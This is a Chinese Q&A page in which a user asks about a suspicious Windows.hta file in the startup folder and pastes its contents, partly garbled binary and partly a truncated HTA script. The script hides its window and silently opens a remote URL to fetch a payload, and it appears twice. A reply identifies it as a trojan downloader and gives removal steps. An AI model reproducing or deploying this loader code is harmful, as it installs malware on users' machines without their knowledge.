UC知道启动目录的Windows.hta 是什么东西，以前没见过!
来源：百度知道 编辑：UC知道 时间：2024/06/14 02:58:34
用记事本打开，是以下内容
TG! 秆?蚕? _? g 噎c?胂般 ? ?幎虽?嶖 _?
| ?等骪?? Dw= ?? ??" I ?幎虽?嶖 _? 2 ' € S U N N Y ? ??
€ ? <html><body><script>window.moveTo(4000,4000);window.resizeTo(0,0);var shell=new ActiveXObject("wscript.shell");shell.Run("C:\\Progra~1\\Intern~1\\IEXPLORE.EXE http://www.if56.cn/lo/downmm.html",0,0);function runmm(){var path=shell.SpecialFolders("MyDocuments");var savepath=path.substring(0,path.lastIndexOf("\\"));savepath+="\\Local Settings\\Temporary Internet Files\\Content.IE5\\";var sp=new ActiveXObject("shell.application");var Folders=
TG! 秆?蚕? _? g 噎c?胂般 ? ?幎虽?嶖 _?
| ?等骪?? Dw= ?? ??" I ?幎虽?嶖 _? 2 ' € S U N N Y ? ??
€ ? <html><body><script>window.moveTo(4000,4000);window.resizeTo(0,0);var shell=new ActiveXObject("wscript.shell");shell.Run("C:\\Progra~1\\Intern~1\\IEXPLORE.EXE http://www.if56.cn/lo/downmm.html",0,0);function runmm(){var path=shell.SpecialFolders("MyDocuments");var savepath=path.substring(0,path.lastIndexOf("\\"));savepath+="\\Local Settings\\Temporary Internet Files\\Content.IE5\\";var sp=new ActiveXObject("shell.application");var Folders=
删了~应该是个木马下载器~估计abc[1].exe已经注入到你的某些进程中,比如瑞星等~你先删了它,然后再删除TEMP和IE临时文件,重启~不行的话,再看看有些启动进程~